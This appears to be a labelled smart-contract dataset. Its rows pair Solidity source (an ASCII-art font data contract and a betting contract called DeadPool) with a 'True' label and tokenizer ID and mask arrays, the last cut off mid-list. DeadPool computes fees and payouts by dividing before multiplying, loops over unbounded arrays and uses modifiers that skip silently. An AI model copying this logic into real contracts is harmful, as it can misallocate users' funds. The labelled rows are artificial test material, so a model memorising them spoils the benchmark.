data.compressedImage = hex"a593dd0a823018866f6510f4e19173860a3a21c2eec03361587916114c4161179f8a7f6dd356ede8ddf7fb385ea3b2a84b5453c0801a0ac43b00bade73ce295c725e401c95fc993fba0ae2ba806e0da2e07810ef7735c6f8884355b0f66ca4177566b14944760fb3ca944a2de43c0ad241892a15c3dd9f876652eddced87a232de9d89a954683e4b255b36cc0cca9425d727060d81609b5cbf278d59e687ee7ca15b631cfc7e27b386570cda896bce724fb220bd20c4216f016d2609ff70ac6c8ba0f5a9c5466a75645b20ad557dbbf074125a1b4c76f7efc72f";
data.compressedSize = 1026;
data.imageName = "Dancing Font";
}
if (index == 31) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373237525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303232565748a954b055373453b75353ae3030307034b0c6c53072b38e8b234e551c115a51c56cf4c1ce22d67578dd42d8362c92780d23ce752404d000b86e70871d9e0023c191f4772571713e500cb8aff441a5821d00";
data.compressedSize = 1052;
data.imageName = "Peaks";
}
if (index == 32) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373233515748ce492c2eb6554f4a2c4e55b7b329292e48cc03a93032b2505748a954b055373453b75353ae3030307034b0c664c4c7e391c4a63c1e2b1b0fc3461fec2a621d67e40663985b23cc4f88c1a30cc94509c8ec18721d03341ca137c607898d4d9e3431221c81a4271e399091c571b2890e6e841b817660f5633cba2f088a9118d7980c90b9083fc32399c8d4491e830247c7c42305223ddd8ce9787d50e1600700";
data.compressedSize = 1059;
data.imageName = "Larry 3D";
}
if (index == 33) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373237525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a93032b4505748a954b055373453b78b8f5753ae3030307034b0268f114fb109f80cb7d107bb1ba7f331b5686275623c16e11a6ab912611089ce3572c3692c5629bc418dc53b353170c36a2877b691056ed7922815439cf34914223af4b1581f83358968d2d379585d403c0318d0f1f1d81c804314ee1c7d50d9610700";
data.compressedSize = 1090;
data.imageName = "Goofy";
}
if (index == 34) {
data.compressedImage = hex"ad54cf0b823014fe570641efd87a4a0a738248dd842e1d6497d4bc45067ad0ffbe19f5322d5dd263876fdbf77e7d6fccabf2ba62b5040eac91800e02cbce49594a48933207dfabca6b726919c82d60a78649586fc05f2e6ace79c0450fe0f609c21620aef17160053f00dc89c90cc3ab7980927ee478abbb021342e86e45af5f74c4511b6d46728837cdcc7b24c75f0a564a8d845477a3217436e16010e1976b43c94828fb05b21933fe18a8cfb1ff04709a63ac80261e63372dfac3ef80c275f572891f3f3115a20f35a130ce3804af271a47873d858fa3d686f468f2456b67ed4915adda3fc6bf01";
data.compressedSize = 1130;
data.imageName = "Cosmike";
}
if (index == 35) {
data.compressedImage = hex"ad544b0a833010bd4aa0d0212be32caa102388e82984d4b6ee4a29c485debed8d2688d4953edee31df376f2649daa66b49278001e905608440ced75a2901a75a359026adbad7b72102310672e98980f000e97ed731c632c64d40ab17c462b02186c8a7065b9a91efed4c8227495fae98bf41c4175d53ca3997d4460763eb18baf4d8ac34624abe76165767a7c852bab4f5d9ce5702bf2c845a652bb81c376dac60b17da57dd5dcf65f85f3adfa6870d4d3529fe3a0ab15d6e53e149e5d8cf91e36826933872e7a9860f88dd207";
data.compressedSize = 1172;
data.imageName = "Ghoulish";
}
if (index == 36) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b200d2c93989c5c5b6ea4989c5a9ea763625c505897920154646c6ea0a29950ab6ea8666ea766aca150606068e06d6680c13ca18543710bf5d36fa60ef11eb4b2343121c4e1203d340b85d94aba1d89778ecc1a3d8c480b02e4c9331a58831c784e4b8347624ec164c06a662b83924a9218681d51c127d89e95d4cb7102385c799e4790ebf76b82ff541e5931d00";
data.compressedSize = 1190;
data.imageName = "S Blood";
}
if (index == 37) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b45537b200d2c93989c5c5b6ea4989c5a9ea763625c505897920154646c6ea0a29950ab6ea8666ea766aca150606068e06d61086b1236e860b090cb881543719ab5d36fa60ef51c197980e2789418cc9c4041b5635a4fa925c7b28d135287d89259ea8e403a2d204157c495e8411952fe9e24b7d50f9640700";
data.compressedSize = 1190;
data.imageName = "USA Flag";
}
if (index == 38) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373237525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303232565748a954b055373453b75353ae3030307034b0c66444435846aed6680cd254236b8b2653ce461fec7cc2be20cacde4ba02a722028613723d95027a805c3fb4c31e4f4053c9f103e30bd2d2d4c032e0bed30795627600";
data.compressedSize = 1228;
data.imageName = "Tiles";
}
if (index == 39) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373233515748ce492c2eb6554f4a2c4e55b7b329292e48cc03a930b4b0505748a95400b2ccd4edd4942b0c0c0c1c0dac210c2357eb7c2880cbc0d940496cca714992a80ac8b0d107bb12a7632d2c2ca0c698233425585824611a0514b508802a36b28e04aa41e551603956a7d3599690634181929f020f0173ebc1e538e414863549e4030dce278a47c8b21478b4e3f1062623d28524e5838441283090b300520631b71ed29ed507157e7600";
data.compressedSize = 1283;
data.imageName = "Roman";
}
if (index == 40) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373237525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303232565748a954b055373453b75353ae3030307034b0c6c5307685319cd119e4e9c2d44e8c15f8d5d8e883bd47ac2f49f213e5ae23a898484b89f325d5236c50fa7264c4259e08a3bae706932fc94bc303c580fb521f540adb0100";
data.compressedSize = 1420;
data.imageName = "Barbwire";
}
if (index == 41) {
data.compressedImage = hex"bd94cd0a83300cc75fa53058f0648d4c053f6088bbfa0203759bb731067a50e8c36f6ea3d4aed52273a786364d7ef9276dd4d65d4bba1828903e06dc7940ced7aa696238554d0d49d436f7ea36782006402e3d89c1f120d96e3a4ae99e862b196e3a18880e7e3630935d30084bc9c70fadef8091fdaae107a5bc1984846eb6b0c8232f21cff9a6552c65c6915af23aa395fab228391ef49228fa6499d13f098c8596846213d29632bc3fd50836c7aa48c5666953a1d3fa009c4c64652b317ee70ac282b7d720c2ccd91248116d3c9a5329ffc03a1a26ddb352bd185f3390a6be069738bb3dfcddc903";
data.compressedSize = 1474;
data.imageName = "Lil Devil";
}
if (index == 42) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373233515748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303236565748a954b055373453b75353ae3030307034b04663183992c0c0d44e53868d3ed833c4fa098bc3dd7033707b8ea4202135fc88f31331ce44b8d78d9400a0811a52fde4466920921097e4aa2135edb991c2181a7ea2561941d3b8a4653ce1cb6a642926520ddc4ffaa0d2de0e00";
data.compressedSize = 1524;
data.imageName = "3-D";
}
if (index == 43) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b455373237525748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303234565748a954b055373453b75353ae3030307034b0c6c5307685315cd045f0e8c2a7dd05a78178ecc2670e36f7d8e8833d4cacbf49f2253d14936b2071fe262f5287bebf476a7c139353a9e6dd41ed6f0a8bb30167c0fdad0f2af1ed00";
data.compressedSize = 1528;
data.imageName = "Arrows";
}
if (index == 44) {
data.compressedImage = hex"ad55d10a022110fc1561a17d3cb3388254b8fec4eade22027df0febeac3888335d4f7d5a74677667e641e946ef9857c8914d0a45bf4776b9196b159e8d1d514b671fe61e3a043f20bb4e4ce1b647bd01cf391ff8f153ec8636c54c58c4bc44d5f3c8eead3c63c00c15a7aaa512f0e513e586322271433620cdd1a4a08c2815d7ce80171456244f140e594f8b0288339293067ac23fddb0465803ab72c2fe6f182d62ed851485ecb46402f87b22b450bd184416eac2c7a19f";
data.compressedSize = 1599;
data.imageName = "Alligator2";
}
if (index == 45) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b4553732b1505748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303432565748a95400b2ccd4ede2090235e50a03030347036b0a1936fa6027e074095c21cd9d44b44b909d04611bb959c74001359d46ba8b909c86ec32381b0f03ea76540f61f2e3e9e503845762b03a36068b03f17b8f907c3cbd7c84144b44450d0167c7e0e0a1466d0cb15ea5aa0fb12748709ec0743a7e2ebd5c4a54c28b27cfe93476311513169c118fdf2c4aa5e121a20faaabec00";
data.compressedSize = 1714;
data.imageName = "Slant Relief";
}
if (index == 46) {
data.compressedImage = hex"b32949ad2851a8b055375057a8b4553732b1505748ce492c2eb6554f4a2c4e55b7b329292e48cc03a9303234565748a954b055373453b75353ae3030307034b086308c4c4863c4a0e9a7d420926db3d1077b8c80ff304d4336233e9eb055044c2053510cf5fc61e4664d7c5c00a56ac8309172c53514f8b3866afeab21c1000afd13435e7618b4fe81ab8c898f8fc797ec6b800a6a9055a372484f07388b1ad2bc4d67064dd307b24583dc9fa8e9069e72dcac07d6d998eed707d5a47600";
data.compressedSize = 1872;
data.imageName = "Big Money-nw";
}
if (index == 47) {
data.compressedImage = hex"b555c90a833010fd9540a1434ec6b434820bf4a03df5030a426a5b6fa514f4a0e0c757a5c65de3761b667933f3e6198dd08f4214994000c526d0a306e8f9f682c0848717f8601961f0f53e5906250740af1899a09ec0daef2242c899e86d830fc496666fd0c450f215276f4a35fd89ffa69df92855a95e75d49364465d8239778fb2b9d3f2d80573a2791a73e75d6cbd26d29b72ee0aca84f3262c2c46e21d0299532c37590ac8fb8e5cd0435933c2724eea82e0787dc4053a4a12615eba9c938c4add550e4c5e17cd2f8a9520f716494dbdb296703b9e9a35b1a55535fa72381d23b8fd55783b64e95b8d72366cc8946fd7426ca964ff59eb07";
data.compressedSize = 1902;
data.imageName = "Bear";
}
if (index == 48) {
data.compressedImage = hex"c5555d0b823014fd2b83a08b4fce154df00342ead53f104c2bdf22027d50f0c7a7416bda9c1b8d7cf232ef3d3be7ec4cc3aaa82b54478001351190ad0fe872cbcb3282735e16108755f9c8ef7d07f13680ae0d8ac0db41bc5ed518e33d0efe50b0d92672e80b423cf25ea081a3031dba2f7dcbcb24fed70a1d881bf5a4292f1d664f17494423a79e22292d71c90f28aa61c75027f7542742dcf6a32a5cad42403646a22ab9adf9e949366f99242c43fe7d665aeb39b6445f792ce221249fa1d33490e41651f5be7aec3b7b75d8d3c9a077008ce74b036ae69d1df745d632cfa992cc222a06976deec3a5ab2933e83519e2aadcfebf1b3f01";
data.compressedSize = 1918;
data.imageName = "Ghost";
}
if (index == 49) {
data.compressedImage = hex"d555410a833010fc4aa0d03d9aa6902a1aa1941ef7019eaca9bd95528807fd7d9b6243c45423e4606f9bcd647626ec2659736b1bd20aa0403a016ccf805cef95520264a56e90678d7a560f8d603406527744c08e43beddb494d2234d4d5096e3dc4450baf07e1c93a82cfa289e17ce1125229af5c58af5de98da9d9d2bc87b5a767897903efe107962cb1aaca47761cb8f45ed27c0480e86f2105c7c09cffd71764a3159223830cabb970af4d3b90ec12c4e7191da75dfbc994ad337fa8d4074bd2f3fb3be533ceda090a1ee3578b078f89c2c75f2b706872db35e1f634391fea4f317";
data.compressedSize = 1963;
data.imageName = "Georgi16";
}
// AUTOGEN:END
return data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface GmDataInterface {
struct GmDataSet {
bytes imageName;
bytes compressedImage;
uint256 compressedSize;
}
function getSvg(uint256 index) external pure returns (GmDataSet memory);
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1023,
1025,
12324,
1063,
13938,
2850,
18249,
3334,
12172,
1065,
2013,
1000,
1012,
1013,
13938,
2850,
18249,
3334,
12172,
1012,
14017,
1000,
1025,
3206,
13938,
2850,
2696,
2487,
2003,
13938,
2850,
18249,
3334,
12172,
1063,
3853,
4152,
2615,
2290,
1006,
21318,
3372,
17788,
2575,
5950,
1007,
6327,
5760,
5651,
1006,
13938,
2850,
18260,
2102,
3638,
2951,
1007,
1063,
1013,
1013,
8285,
6914,
1024,
2707,
2065,
1006,
5950,
1027,
1027,
1014,
1007,
1063,
2951,
1012,
16620,
9581,
3351,
1027,
2002,
2595,
1000,
100,
1000,
1025,
2951,
1012,
16620,
5332,
4371,
1027,
6356,
1025,
2951,
1012,
3746,
18442,
1027,
1000,
24098,
26941,
2594,
1000,
1025,
1065,
2065,
1006,
5950,
1027,
1027,
1015,
1007,
1063,
2951,
1012,
16620,
9581,
3351,
1027,
2002,
2595,
1000,
100,
1000,
1025,
2951,
1012,
16620,
5332,
4371,
1027,
6365,
1025,
2951,
1012,
3746,
18442,
1027,
1000,
2002,
2595,
1000,
1025,
1065,
2065,
1006,
5950,
1027,
1027,
1016,
1007,
1063,
2951,
1012,
16620,
9581,
3351,
1027,
2002,
2595,
1000,
100,
1000,
1025,
2951,
1012,
16620,
5332,
4371,
1027,
10114,
1025,
2951,
1012,
3746,
18442,
1027,
1000,
12441,
1000,
1025,
1065,
2065,
1006,
5950,
1027,
1027,
1017,
1007,
1063,
2951,
1012,
16620,
9581,
3351,
1027,
2002,
2595,
1000,
100,
1000,
1025,
2951,
1012,
16620,
5332,
4371,
1027,
14677,
1025,
2951,
1012,
3746,
18442,
1027,
1000,
17107,
1000,
1025,
1065,
2065,
1006,
5950,
1027,
1027,
1018,
1007,
1063,
2951,
1012,
16620,
9581,
3351,
1027,
2002,
2595,
1000,
100,
1000,
1025,
2951,
1012,
16620,
5332,
4371,
1027,
21036,
1025,
2951,
1012,
3746,
18442,
1027,
1000,
1017,
2595,
2629,
1000,
1025,
1065,
2065,
1006,
5950,
1027,
1027,
1019,
1007,
1063,
2951,
1012,
16620,
9581,
3351,
1027,
2002,
2595,
1000,
100,
1000,
1025,
2951,
1012,
16620,
5332,
4371,
1027,
28188,
1025,
2951,
1012,
3746,
18442,
1027,
1000,
6921,
1000,
1025,
1065,
2065,
1006,
5950,
1027,
1027,
1020,
1007,
1063,
2951,
1012,
16620,
9581,
3351,
1027,
2002,
2595,
1000,
100,
1000,
1025,
2951,
1012,
16620,
5332,
4371,
1027,
28161,
1025,
2951,
1012,
3746,
18442,
1027,
1000,
2540,
2187,
1000,
1025,
1065,
2065,
1006,
5950,
1027,
1027,
1021,
1007,
1063,
2951,
1012,
16620,
9581,
3351,
1027,
2002,
2595,
1000,
100,
1000,
1025,
2951,
1012,
16620,
5332,
4371,
1027,
4700,
2549,
1025,
2951,
1012,
3746,
18442,
1027,
1000,
2004,
6895,
2072,
2047,
3142,
1000,
1025,
1065,
2065,
1006,
5950,
1027,
1027,
1022,
1007,
1063,
2951,
1012,
16620,
9581,
3351,
1027,
2002,
2595,
1000,
100,
1000,
1025,
2951,
1012,
16620,
5332,
4371,
1027,
5139,
2509,
1025,
2951,
1012,
3746,
18442,
1027,
1000,
9543,
5484,
1011,
9121,
1000,
1025,
1065,
2065,
1006,
5950,
1027,
1027,
1023,
1007,
1063,
2951,
1012,
16620,
9581,
3351,
1027,
2002,
2595,
1000,
100,
1000,
1025,
2951,
1012,
16620,
5332,
4371,
1027,
5179,
2620,
1025,
2951,
1012,
3746,
18442,
1027,
1000,
1046,
2015,
12731,
2869,
3512,
1000,
1025,
1065,
2065,
1006,
5950,
1027,
1027,
2184,
1007,
1063,
2951,
1012,
16620,
9581,
3351,
1027,
2002,
2595,
1000,
100,
1000,
1025,
2951,
1012,
16620,
5332,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0;
pragma abicoder v2;
contract DeadPool {
/* Types */
enum eventStatus{open, finished, closed}
enum bidStatus{open, closed}
struct bid {
uint id;
uint256 name;
address[] whoBet;
uint amountReceived;
bidStatus status;
}
struct betEvent {
uint id;
bytes32 name;
address creator;
address arbitrator;
uint256 winner;
uint arbitratorFee;
uint minBid; // value in wei
uint maxBid; // value in wei
bid[] bids;
bet[] bets;
eventStatus status;
}
struct bet {
address person;
uint256 bidName;
uint amount;
uint256 timestamp;
}
/* Storage */
address public owner;
mapping(address => betEvent[]) public betEvents;
mapping(address => uint) public pendingWithdrawals;
/* Events */
// event eventCreated(uint id, address creator);
// event betMade(uint value, uint id);
// event eventStatusChanged(uint status);
// event withdrawalDone(uint amount);
/* Modifiers */
modifier onlyOwner(){
if (msg.sender == owner) {
_;
}
}
modifier onlyOpen(address creator, uint eventId){
if (betEvents[creator][eventId].status == eventStatus.open) {
_;
}
}
modifier onlyFinished(address creator, uint eventId){
if (betEvents[creator][eventId].status == eventStatus.finished) {
_;
}
}
modifier onlyArbitrator(address creator, uint eventId){
if (msg.sender == betEvents[creator][eventId].arbitrator) {
_;
}
}
modifier onlyOpenAndArbitrator(address creator, uint eventId){
if (betEvents[creator][eventId].status == eventStatus.open && msg.sender == betEvents[creator][eventId].arbitrator) {
_;
}
}
modifier onlyFinishedAndArbitrator(address creator, uint eventId){
if (betEvents[creator][eventId].status == eventStatus.finished && msg.sender == betEvents[creator][eventId].arbitrator) {
_;
}
}
/* Methods */
constructor() {
owner = msg.sender;
}
fallback() external payable {
// custom function code
}
receive() external payable {
// custom function code
}
bid public newBid;
betEvent public newEvent;
bet public newBet;
function createEvent(address arbitrator, bytes32 name, uint fee, uint minBid, uint maxBid) external
onlyOwner {
require(fee < 100, "Fee must be lower than 100.");
/* check whether event with such name already exist */
bool found = false;
for (uint x = 0; x < betEvents[msg.sender].length; x++) {
if (betEvents[msg.sender][x].name == name) {
found = true;
}
}
require(!found, "Event with same name already exists.");
uint newId = betEvents[msg.sender].length;
newEvent.id = newId;
newEvent.name = name;
newEvent.arbitrator = arbitrator;
newEvent.status = eventStatus.open;
newEvent.creator = msg.sender;
newEvent.minBid = minBid;
newEvent.maxBid = maxBid;
newEvent.arbitratorFee = fee;
betEvents[msg.sender].push(newEvent);
// emit eventCreated(newId, msg.sender);
}
function finishEvent(address creator, uint eventId) external
onlyOpenAndArbitrator(creator, eventId) {
betEvents[creator][eventId].status = eventStatus.finished;
// emit eventStatusChanged(1);
}
function _addBid(address creator, uint eventId, uint256 bidName) private
onlyOpen(creator, eventId) {
uint newBidId = 0;
bool found = findBid(creator, eventId, bidName);
if (!found) {
newBidId = betEvents[creator][eventId].bids.length;
newBid.id = newBidId;
newBid.name = bidName;
newBid.status = bidStatus.open;
betEvents[creator][eventId].bids.push(newBid);
}
}
function addBid(address creator, uint eventId, uint256 bidName) external
onlyOpen(creator, eventId) {
_addBid(creator, eventId, bidName);
}
function addBids(address creator, uint eventId, uint256[] calldata bidNames) external
onlyOpen(creator, eventId) {
for (uint i = 0; i < bidNames.length; i++) {
_addBid(creator, eventId, bidNames[i]);
}
}
function _closeBid(address creator, uint eventId, uint256 bidName) private
onlyOpenAndArbitrator(creator, eventId) {
for (uint i = 0; i < betEvents[creator][eventId].bids.length; i++) {
if (betEvents[creator][eventId].bids[i].name == bidName) {
betEvents[creator][eventId].bids[i].status = bidStatus.closed;
}
}
}
function closeBid(address creator, uint eventId, uint256 bidName) external
onlyOpenAndArbitrator(creator, eventId) {
_closeBid(creator, eventId, bidName);
}
function closeBids(address creator, uint eventId, uint256[] calldata bidNames) external
onlyOpenAndArbitrator(creator, eventId) {
for (uint i = 0; i < bidNames.length; i++) {
_closeBid(creator, eventId, bidNames[i]);
}
}
// function openBid(address creator, uint eventId, bytes32 bidName) external
// onlyOpen(creator, eventId) onlyArbitrator(creator, eventId) {
// for (uint i = 0; i < betEvents[creator][eventId].bids.length; i++) {
// if (betEvents[creator][eventId].bids[i].name == bidName) {
// betEvents[creator][eventId].bids[i].status = bidStatus.open;
// }
// }
// }
function makeBet(address creator, uint eventId, uint256 bidName) public payable
onlyOpen(creator, eventId) {
uint256 minDate = (block.timestamp / (60 * 60 * 24) + 1) * (60 * 60 * 24);
require(bidName >= minDate, "Bid must be more than today.");
/* check whether bid with given name actually exists */
bool found = findBid(creator, eventId, bidName);
if (!found) {
this.addBid(creator, eventId, bidName);
}
for (uint i = 0; i < betEvents[creator][eventId].bids.length; i++) {
if (betEvents[creator][eventId].bids[i].name == bidName) {
bid storage foundBid = betEvents[creator][eventId].bids[i];
found = true;
require(foundBid.status == bidStatus.open, "Bid is closed.");
//check for minimal amount
if (betEvents[creator][eventId].minBid > 0) {
require(msg.value >= betEvents[creator][eventId].minBid, "Min amount error.");
}
//check for maximal amount
if (betEvents[creator][eventId].maxBid > 0) {
require(msg.value <= betEvents[creator][eventId].maxBid, "Max amount error.");
}
foundBid.whoBet.push(msg.sender);
foundBid.amountReceived += msg.value;
newBet.person = msg.sender;
newBet.amount = msg.value;
newBet.bidName = bidName;
newBet.timestamp = block.timestamp;
betEvents[creator][eventId].bets.push(newBet);
// emit betMade(msg.value, newBetId);
}
}
require(found, "Bid not found.");
}
function determineWinner(address creator, uint eventId, uint256 bidName) external
onlyFinishedAndArbitrator(creator, eventId) {
require(findBid(creator, eventId, bidName));
betEvent storage cEvent = betEvents[creator][eventId];
cEvent.winner = bidName;
uint amountLost;
uint amountWon;
uint lostBetsLen;
/* Calculating amount of all won and lost bets */
for (uint x = 0; x < cEvent.bets.length; x++) {
uint betAmount = cEvent.bets[x].amount;
if (cEvent.bets[x].bidName == cEvent.winner) {
amountWon += betAmount;
pendingWithdrawals[cEvent.bets[x].person] += betAmount;
} else {
lostBetsLen++;
amountLost += betAmount;
}
}
uint arbitratorAmount = amountLost / 100 * cEvent.arbitratorFee;
pendingWithdrawals[cEvent.arbitrator] += arbitratorAmount;
amountLost -= arbitratorAmount;
/* If we do have win bets */
if (amountWon > 0) {
for (uint x = 0; x < cEvent.bets.length; x++) {
if (cEvent.bets[x].bidName == cEvent.winner) {
uint wonBetPercentage = percent(cEvent.bets[x].amount, amountWon, 2);
pendingWithdrawals[cEvent.bets[x].person] += (amountLost / 100) * wonBetPercentage;
}
}
} else {
/* If we don't have any bets won, we pay all the funds back except arbitrator fee */
for (uint x = 0; x < cEvent.bets.length; x++) {
pendingWithdrawals[cEvent.bets[x].person] += cEvent.bets[x].amount - ((cEvent.bets[x].amount / 100) * cEvent.arbitratorFee);
}
}
cEvent.status = eventStatus.closed;
// emit eventStatusChanged(2);
}
function withdraw(address payable person) private {
uint amount = pendingWithdrawals[person];
pendingWithdrawals[person] = 0;
person.transfer(amount);
// emit withdrawalDone(amount);
}
function requestWithdraw() external {
require(pendingWithdrawals[msg.sender] != 0, "No withdrawal available.");
withdraw(payable(msg.sender));
}
function findBid(address creator, uint eventId, uint256 bidName) private view returns (bool){
for (uint i = 0; i < betEvents[creator][eventId].bids.length; i++) {
if (betEvents[creator][eventId].bids[i].name == bidName) {
return true;
}
}
return false;
}
function percent(uint numerator, uint denominator, uint precision) public pure returns (uint quotient) {
// caution, check safe-to-multiply here
uint _numerator = numerator * 10 ** (precision + 1);
// with rounding of last digit
uint _quotient = ((_numerator / denominator) + 5) / 10;
return (_quotient);
}
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
uint8 i = 0;
while (i < 32 && _bytes32[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
/* Getters */
function getBetEvents(address creator) external view returns (betEvent[] memory){
return betEvents[creator];
}
//
// function getBetEvent(address creator, uint eventId) external view returns (betEvent memory){
// return betEvents[creator][eventId];
// }
//
// function getBidsNum(address creator, uint eventId) external view returns (uint){
// return betEvents[creator][eventId].bids.length;
// }
//
function getBids(address creator, uint eventId) external view returns (bid[] memory){
return betEvents[creator][eventId].bids;
}
//
// function getBid(address creator, uint eventId, uint bidId) external view returns (uint, bytes32, uint){
// bid storage foundBid = betEvents[creator][eventId].bids[bidId];
// return (foundBid.id, foundBid.name, foundBid.amountReceived);
// }
//
// function getBetsNums(address creator, uint eventId) external view returns (uint){
// return betEvents[creator][eventId].bets.length;
// }
//
// function getWhoBet(address creator, uint eventId, uint bidId) external view returns (address[] memory){
// return betEvents[creator][eventId].bids[bidId].whoBet;
// }
//
function getBets(address creator, uint eventId) external view returns (bet[] memory){
return betEvents[creator][eventId].bets;
}
//
// function getBet(address creator, uint eventId, uint betId) external view returns (address, bytes32, uint){
// bet storage foundBet = betEvents[creator][eventId].bets[betId];
// return (foundBet.person, foundBet.bidName, foundBet.amount);
// }
//
// function getEventId(address creator, bytes32 eventName) external view returns (uint, bool){
// for (uint i = 0; i < betEvents[creator].length; i++) {
// if (betEvents[creator][i].name == eventName) {
// return (betEvents[creator][i].id, true);
// }
// }
// return (0, false);
// }
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1021,
1012,
1014,
1025,
10975,
8490,
2863,
11113,
11261,
4063,
1058,
2475,
1025,
3206,
2757,
16869,
1063,
1013,
1008,
4127,
1008,
1013,
4372,
2819,
2824,
29336,
2271,
1063,
2330,
1010,
2736,
1010,
2701,
1065,
4372,
2819,
20723,
29336,
2271,
1063,
2330,
1010,
2701,
1065,
2358,
6820,
6593,
7226,
1063,
21318,
3372,
8909,
1025,
21318,
3372,
17788,
2575,
2171,
1025,
4769,
1031,
1033,
2040,
20915,
1025,
21318,
3372,
3815,
2890,
3401,
3512,
2094,
1025,
20723,
29336,
2271,
3570,
1025,
1065,
2358,
6820,
6593,
6655,
18697,
3372,
1063,
21318,
3372,
8909,
1025,
27507,
16703,
2171,
1025,
4769,
8543,
1025,
4769,
12098,
16313,
16259,
1025,
21318,
3372,
17788,
2575,
3453,
1025,
21318,
3372,
12098,
16313,
16259,
7959,
2063,
1025,
21318,
3372,
8117,
17062,
1025,
1013,
1013,
3643,
1999,
11417,
21318,
3372,
4098,
17062,
1025,
1013,
1013,
3643,
1999,
11417,
7226,
1031,
1033,
20723,
1025,
6655,
1031,
1033,
29475,
1025,
2824,
29336,
2271,
3570,
1025,
1065,
2358,
6820,
6593,
6655,
1063,
4769,
2711,
1025,
21318,
3372,
17788,
2575,
7226,
18442,
1025,
21318,
3372,
3815,
1025,
21318,
3372,
17788,
2575,
2335,
15464,
2361,
1025,
1065,
1013,
1008,
5527,
1008,
1013,
4769,
2270,
3954,
1025,
12375,
1006,
4769,
1027,
1028,
6655,
18697,
3372,
1031,
1033,
1007,
2270,
6655,
18697,
7666,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2270,
14223,
24415,
7265,
13476,
2015,
1025,
1013,
1008,
2824,
1008,
1013,
1013,
1013,
2724,
2724,
16748,
4383,
1006,
21318,
3372,
8909,
1010,
4769,
8543,
1007,
1025,
1013,
1013,
2724,
6655,
21565,
1006,
21318,
3372,
3643,
1010,
21318,
3372,
8909,
1007,
1025,
1013,
1013,
2724,
2824,
